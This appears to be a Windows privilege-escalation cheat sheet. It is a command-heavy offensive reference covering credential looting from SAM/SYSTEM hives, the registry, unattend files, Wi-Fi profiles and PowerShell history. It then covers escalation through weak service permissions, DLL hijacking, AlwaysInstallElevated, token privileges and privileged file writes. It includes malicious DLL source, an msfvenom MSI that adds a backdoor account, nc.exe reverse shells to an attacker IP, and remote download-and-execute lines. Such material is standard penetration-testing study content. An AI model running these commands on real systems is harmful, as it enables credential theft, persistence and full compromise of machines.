## EoP - Looting for passwords
### SAM and SYSTEM files
The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM hash. This file can be found in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM.
```powershell
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
```
Generate a hash file for John using `pwdump` or `samdump2`.
```powershell
pwdump SYSTEM SAM > /root/sam.txt
samdump2 SYSTEM SAM -o sam.txt
```
Then crack it with `john -format=NT /root/sam.txt`.
### Search for file contents
```powershell
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
```
### Search for a file with a certain filename
```powershell
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
```
### Search the registry for key names and passwords
```powershell
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" # Windows Autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" # SNMP parameters
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # Putty clear text proxy credentials
reg query "HKCU\Software\ORL\WinVNC3\Password" # VNC credentials
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
```
### Read a value of a certain sub key
```powershell
REG QUERY "HKLM\Software\Microsoft\FTH" /V RuleList
```
### Passwords in unattend.xml
Location of the unattend.xml files.
```powershell
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
```
Display the content of these files with `dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul`.
Example content
```powershell
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
```
Unattend credentials are stored in base64 and can be decoded manually with base64.
```powershell
$ echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d
SecretSecurePassword1234*
```
The Metasploit module `post/windows/gather/enum_unattend` looks for these files.
### IIS Web config
```powershell
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
```
```powershell
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
```
### Other files
```bat
%SYSTEMDRIVE%\pagefile.sys

dir c:*vnc.ini /s /b
dir c:*ultravnc.ini /s /b
```
### Wifi passwords
Find AP SSID
```bat
netsh wlan show profile
```
Get Cleartext Pass
```bat
netsh wlan show profile <SSID> key=clear
```
Oneliner method to extract wifi passwords from all the access point.
```batch
cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on
```
### Sticky Notes passwords
The sticky notes app stores it's content in a sqlite db located at `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`
### Passwords stored in services
Saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using [SessionGopher](https://github.com/Arvanaghi/SessionGopher)
```powershell
https://raw.githubusercontent.com/Arvanaghi/SessionGopher/master/SessionGopher.ps1
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
```
### Powershell history
```powershell
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
```
### Password in Alternate Data Stream
```ps1
PS > Get-Item -path flag.txt -Stream *
PS > Get-Content -path flag.txt -Stream Flag
```
## EoP - Processes Enumeration and Tasks
What processes are running?
```powershell
tasklist /v
net start
sc query
Get-Service
Get-Process
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
```
Which processes are running as "system"
```powershell
tasklist /v /fi "username eq system"
```
Do you have powershell magic?
```powershell
REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion
```
List installed programs
```powershell
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
```
List services
```powershell
net start
wmic service list brief
tasklist /SVC
```
Scheduled tasks
```powershell
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
```
Startup tasks
```powershell
wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
```
## EoP - Incorrect permissions in services
> A service running as Administrator/SYSTEM with incorrect file permissions might allow EoP. You can replace the binary, restart the service and get system.
Often, services are pointing to writeable locations:
- Orphaned installs, not installed anymore but still exist in startup
- DLL Hijacking
```powershell
# find missing DLL
- Find-PathDLLHijack PowerUp.ps1
- Process Monitor : check for "Name Not Found"
# compile a malicious dll
- For x64 compile with: "x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll"
- For x86 compile with: "i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll"
# content of windows_dll.c
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
system("cmd.exe /k whoami > C:\\Windows\\Temp\\dll.txt");
ExitProcess(0);
}
return TRUE;
}
```
- PATH directories with weak permissions
```powershell
$ for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
$ for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"
$ sc query state=all | findstr "SERVICE_NAME:" >> Servicenames.txt
FOR /F %i in (Servicenames.txt) DO echo %i
type Servicenames.txt
FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt
FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt
```
Alternatively you can use the Metasploit exploit : `exploit/windows/local/service_permissions`
Note to check file permissions you can use `cacls` and `icacls`
> icacls (Windows Vista +)
> cacls (Windows XP)
You are looking for `BUILTIN\Users:(F)`(Full access), `BUILTIN\Users:(M)`(Modify access) or `BUILTIN\Users:(W)`(Write-only access) in the output.
### Example with Windows 10 - CVE-2019-1322 UsoSvc
Prerequisite: Service account
```powershell

net start SSDPSRV
net stop upnphost
net start upnphost
sc config upnphost depend=""
```

## EoP - Windows Subsystem for Linux (WSL)
Technique borrowed from [Warlockobama's tweet](https://twitter.com/Warlockobama/status/1067890915753132032)
> With root privileges Windows Subsystem for Linux (WSL) allows users to create a bind shell on any port (no elevation needed). Don't know the root password? No problem just set the default user to root W/ <distro>.exe --default-user root. Now start your bind shell or reverse.
```powershell
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
```
Binary `bash.exe` can also be found in `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe`
Alternatively you can explore the `WSL` filesystem in the folder `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\`
## EoP - Unquoted Service Paths
The Microsoft Windows Unquoted Service Path Enumeration Vulnerability. All Windows services have a Path to its executable. If that path is unquoted and contains whitespace or other separators, then the service will attempt to access a resource in the parent path first.
```powershell
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" |findstr /i /v """
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
```
* Metasploit exploit : `exploit/windows/local/trusted_service_path`
* PowerUp exploit
```powershell
# find the vulnerable application
C:\> powershell.exe -nop -exec bypass "IEX (New-Object Net.WebClient).DownloadString('https://your-site.com/PowerUp.ps1'); Invoke-AllChecks"
...

```
## EoP - AlwaysInstallElevated
Check if these registry values are set to "1".
```bat
$ reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
$ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```
Then create an MSI package and install it.
```powershell
$ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msi
$ msiexec /quiet /qn /i C:\evil.msi
```
Technique also available in Metasploit : `exploit/windows/local/always_install_elevated`
## EoP - Insecure GUI apps
Application running as SYSTEM allowing an user to spawn a CMD, or browse directories.
Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt"
## EoP - Evaluating Vulnerable Drivers
Look for vuln drivers loaded, we often don't spend enough time looking at this:

## EoP - Runas
Use the `cmdkey` to list the stored credentials on the machine.
```powershell
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
```
Then you can use `runas` with the `/savecred` options in order to use the saved credentials.
The following example is calling a remote binary via an SMB share.
```powershell
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
```
Using `runas` with a provided set of credential.
```powershell
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
```
```powershell
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"
[System.Diagnostics.Process]::Start("C:\users\public\nc.exe","<attacker_ip> 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer)
```
## EoP - Abusing Shadow Copies
If you have local administrator access on a machine try to list shadow copies, it's an easy way for Privilege Escalation.
```powershell
# List shadow copies using vssadmin (Needs Admnistrator Access)
vssadmin list shadows
# List shadow copies using diskshadow
diskshadow list shadows all
# Make a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
```
## EoP - From local administrator to NT SYSTEM
```powershell
PsExec.exe -i -s cmd.exe
```
## EoP - Living Off The Land Binaries and Scripts
Living Off The Land Binaries and Scripts (and also Libraries) : https://lolbas-project.github.io/
> The goal of the LOLBAS project is to document every binary, script, and library that can be used for Living Off The Land techniques.
A LOLBin/Lib/Script must:
* Be a Microsoft-signed file, either native to the OS or downloaded from Microsoft.
Have extra "unexpected" functionality. It is not interesting to document intended use cases.
Exceptions are application whitelisting bypasses
* Have functionality that would be useful to an APT or red team
```powershell
wmic.exe process call create calc
regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
Microsoft.Workflow.Compiler.exe tests.xml results.xml
```
## EoP - Impersonation Privileges
Full privileges cheatsheet at https://github.com/gtworek/Priv2Admin, summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files.
| Privilege | Impact | Tool | Execution path | Remarks |
| --- | --- | --- | --- | --- |
|`SeAssignPrimaryToken`| ***Admin*** | 3rd party tool | *"It would allow a user to impersonate tokens and privesc to nt system using tools such as potato.exe, rottenpotato.exe and juicypotato.exe"* | Thank you [Aurélien Chalot](https://twitter.com/Defte_) for the update. I will try to re-phrase it to something more recipe-like soon. |
|`SeBackup`| **Threat** | ***Built-in commands*** | Read sensitve files with `robocopy /b` |- May be more interesting if you can read %WINDIR%\MEMORY.DMP<br> <br>- `SeBackupPrivilege` (and robocopy) is not helpful when it comes to open files.<br> <br>- Robocopy requires both SeBackup and SeRestore to work with /b parameter. |
|`SeCreateToken`| ***Admin*** | 3rd party tool | Create arbitrary token including local admin rights with `NtCreateToken`. ||
|`SeDebug`| ***Admin*** | **PowerShell** | Duplicate the `lsass.exe` token. | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) |
|`SeLoadDriver`| ***Admin*** | 3rd party tool | 1. Load buggy kernel driver such as `szkg64.sys`<br>2. Exploit the driver vulnerability<br> <br> Alternatively, the privilege may be used to unload security-related drivers with `ftlMC` builtin command. i.e.: `fltMC sysmondrv` | 1. The `szkg64` vulnerability is listed as [CVE-2018-15732](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732)<br>2. The `szkg64` [exploit code](https://www.greyhathacker.net/?p=1025) was created by [Parvez Anwar](https://twitter.com/parvezghh) |
|`SeRestore`| ***Admin*** | **PowerShell** | 1. Launch PowerShell/ISE with the SeRestore privilege present.<br>2. Enable the privilege with [Enable-SeRestorePrivilege](https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1)).<br>3. Rename utilman.exe to utilman.old<br>4. Rename cmd.exe to utilman.exe<br>5. Lock the console and press Win+U| Attack may be detected by some AV software.<br> <br>Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege. |
|`SeTakeOwnership`| ***Admin*** | ***Built-in commands*** |1. `takeown.exe /f "%windir%\system32"`<br>2. `icalcs.exe "%windir%\system32" /grant "%username%":F`<br>3. Rename cmd.exe to utilman.exe<br>4. Lock the console and press Win+U| Attack may be detected by some AV software.<br> <br>Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege. |
|`SeTcb`| ***Admin*** | 3rd party tool | Manipulate tokens to have local admin rights included. May require SeImpersonate.<br> <br>To be verified. ||

## EoP - Privileged File Write
### DiagHub
:warning: Starting with version 1903 and above, DiagHub can no longer be used to load arbitrary DLLs.
The Microsoft Diagnostics Hub Standard Collector Service (DiagHub) is a service that collects trace information and is programmatically exposed via DCOM.
This DCOM object can be used to load a DLL into a SYSTEM process, provided that this DLL exists in the `C:\Windows\System32` directory.
#### Exploit
1. Create an [evil DLL](https://gist.github.com/xct/3949f3f4f178b1f3427fae7686a2a9c0) e.g: payload.dll and move it into `C:\Windows\System32`
2. Build https://github.com/xct/diaghub
3. `diaghub.exe c:\\ProgramData\\ payload.dll`
The default payload will run `C:\Windows\System32\spool\drivers\color\nc.exe -lvp 2000 -e cmd.exe`
Alternative tools:
* https://github.com/Accenture/AARO-Bugs/tree/master/CVE-2020-5825/TrigDiag
* https://github.com/decoder-it/diaghub_exploit
### UsoDLLLoader
:warning: 2020-06-06 Update: this trick no longer works on the latest builds of Windows 10 Insider Preview.
> An alternative to the DiagHub DLL loading "exploit" found by James Forshaw (a.k.a. @tiraniddo)
If we found a privileged file write vulnerability in Windows or in some third-party software, we could copy our own version of `windowscoredeviceinfo.dll` into `C:\Windows\Sytem32\` and then have it loaded by the USO service to get arbitrary code execution as **NT AUTHORITY\System**.
#### Exploit
1. Build https://github.com/itm4n/UsoDllLoader
* Select Release config and x64 architecure.
* Build solution.
* DLL .\x64\Release\WindowsCoreDeviceInfo.dll
* Loader .\x64\Release\UsoDllLoader.exe.
2. Copy `WindowsCoreDeviceInfo.dll` to `C:\Windows\System32\`
3. Use the loader and wait for the shell or run `usoclient StartInteractiveScan` and connect to the bind shell on port 1337.
### WerTrigger
> Weaponizing for privileged file writes bugs with Windows problem reporting
1. Clone https://github.com/sailay1996/WerTrigger
2. Copy `phoneinfo.dll` to `C:\Windows\System32\`
3. Place `Report.wer` file and `WerTrigger.exe` in a same directory.
4. Then, run `WerTrigger.exe`.
5. Enjoy a shell as **NT AUTHORITY\SYSTEM**

### CVE-2019-1388
Exploit : https://packetstormsecurity.com/files/14437/hhupd.exe.html
Working on :
- Windows 7
- Windows 10 LTSC 10240
Failing on :
- LTSC 2019
- 1709
- 1803
Detailed information about the vulnerability : https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege
## EoP - $PATH Interception
Requirements:
- PATH contains a writeable folder with low privileges.
- The writeable folder is _before_ the folder that contains the legitimate binary.
EXAMPLE:
```
//(Powershell) List contents of the PATH environment variable
//EXAMPLE OUTPUT: C:\Program Files\nodejs\;C:\WINDOWS\system32
$env:Path
//See permissions of the target folder
//EXAMPLE OUTPUT: BUILTIN\Users: GR,GW
icacls.exe "C:\Program Files\nodejs\"
//Place our evil-file in that folder.
copy evil-file.exe "C:\Program Files\nodejs\cmd.exe"
```
